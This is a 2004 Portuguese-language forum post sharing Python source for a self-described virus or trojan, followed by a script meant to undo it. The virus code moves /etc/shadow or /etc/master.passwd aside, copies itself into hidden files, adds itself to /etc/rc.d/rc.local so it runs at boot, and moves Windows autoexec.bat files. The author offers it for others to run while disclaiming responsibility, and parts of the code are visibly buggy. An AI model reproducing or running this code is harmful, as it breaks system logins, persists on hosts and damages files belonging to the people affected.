Virus, trojan, sei la o que é isso
Publicado por Ricardo Henrique 22/08/2004
[ Hits: 26.769 ]
Estava fazendo um projeto de um semi-virus ou seria um trojan..., sei lá o q é isso, mas faz um estrago. LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
ACEITO AJUDAS..............
Se voce executou o virus use o anti-virus para tentar recuperar as coisas
REPETINDO...
LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
#ESSE É O CODIGO DO VIRUS
#------------------------------------
#!/usr/bin/env python
import os
#####################################
#Virus and python #
#version 0.5 #
# #
#Colaborações sao bem vindas #
# #
#DICA: Antes de executar o programa #
#copie os arquivos /etc/shadow e o #
#arquivo do windows autoexec.bat #
# #
#NAO ME RESPONSABILIZO PELOS #
#DANOS CAUSADOS, ISSO É PROBLEMA SEU#
# #
#REGISTRADO PELA A LICENCA GPL #
#####################################
def linux():
try:
os.system('mv /etc/shadow /etc/.shadow') # Copia o arquivo caso vc execute o virus
list() # Vai para a funcao list()
except:
bsd()
def bsd():
try:
os.system('mv /etc/master.passwd /etc/.master.passwd') # Copia o arquivo caso vc execute o virus
list() # Vai para a funcao list()
except:
list()
def list(): # Funcao lista
arq = open(".list.txt", 'a') # Cria ou abre o arquivo oculto .list.txt
lis = os.listdir('/etc/') #Lista o que tem no /etc/
aa = "%s" %(lis)
arq.write(aa) # Grava no arquivo
arq.close()
os.system('cp virus.py .arq.py') # Copia o virus
os.system('cp .arq.py ../.conf.py'); # PODE ME SER UTIL ALGUN DIA ... COPIA PARA OUTROS DIRETORIOS, O DE BAIXO TAMBEM
os.system('cp .arq.py /etc/rc.d/.conf.py')
os.system('cp /etc/rc.d/rc.local /etc/rc.d/.rc.local')
rc = open("/etc/rc.d/rc.local",'a') # Abre o arquivo de inicializacao
rc1 = "python /etc/rc.d/.conf.py\n"
aaa = "%s" %(rc1)
rc.write(aaa)
rc.close()
os.system('chmod -x .arq.py') # muda as permisoes
os.system('chown root.root .arq.py') # muda o usuario
procura()
def win_c():
try:
os.system('mv /mnt/win_c/autoexec.bat .autoexec.bat') # Num preciso nem falar
#os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat
except:
exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog
def c():
try:
os.sytem('mv /mnt/c/autoexec.bat .autoexec.bat') # num vo fala nada ^^^
#os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat
except:
win_c() # caso nao tenha ele vai para a funcao win_c()
def procura():
try:
os.remove('mv /mnt/windows/autoexec.bat ./.autoexec.bat')# o q será isso?????^^^^?????
#os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat
except:
c() # se nao tiver ele passa para a funcao c()
def dig():
linux() # Colocar alguma coisa
dig()
#----------------------------------------------
# AGORA o DO ANTI-VIRUS
#---------------------------------------------
#!/usr/bin/python
################################
#Quem Cria também distroi #
#Anti-virus para a merda que eu#
#fiz....infeslimente..o feitiço#
#virou contra o feiticeiro.....#
#tomara que funcione #
###############################
import os
def linux():
try:
os.system('cp /etc/.shadow /etc/shadow') # Copia o arquivo caso vc execute o virus
#os.remove('/etc/shadow') # Remove o arquivo etc shadow
list() # Vai para a funcao list()
except:
bsd()
def bsd():
try:
os.system('cp /etc/.master.passwd /etc/master.passwd') # Copia o arquivo caso vc execute o virus
#os.remove('/etc/master.passwd') # Remove o arquivo /etc/master.passwd
list() # Vai para a funcao list()
except:
list()
def list(): # Funcao lista
os.system('rm -rf .list.txt') # Deleta o arquivo oculto .list.txt
os.system('rm -rf .arq.py') # Remove o virus
os.system('rm -rf ../.conf.py'); # remove o virus
os.system('rm -rf /etc/rc.d/.conf.py')
os.system('cp /etc/rc.d/.rc.local /etc/rc.d/rc.local')
procura()
def win_c():
try:
os.system('cp .autoexec.bat /mnt/win_c/autoexec.bat') # Num preciso nem falar
#os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat
except:
exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog
def c():
try:
os.sytem('cp .autoexec.bat /mnt/c/autoexec.bat') # num vo fala nada ^^^
#os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat
except:
win_c() # caso nao tenha ele vai para a funcao win_c()
def procura():
try:
os.remove('cp .autoexec.bat /mnt/windows/autoexec.bat')# o q será isso?????^^^^?????
#os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat
except:
c() # se nao tiver ele passa para a funcao c()
def dig():
linux() # Colocar alguma coisa
dig()
Gerador palpite Mega Sena v1.0
LISCH e EISCH - Método de resolução de colisão
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
[Resolvido] VirtualBox can't enable the AMD-V extension
Como verificar a saúde dos discos no Linux
Como instalar , particionar, formatar e montar um HD adicional no Linux?
Como automatizar sua instalação do Ubuntu para desenvolvimento de software.
Não consigo instalar distro antiga no virtualbox nem direto no hd (14)
Quais os códigos mais dificeis que vcs sabem fazer? (12)
systemd-resol... precisa ser reiniciado periodicamente [RESOLVIDO] (7)









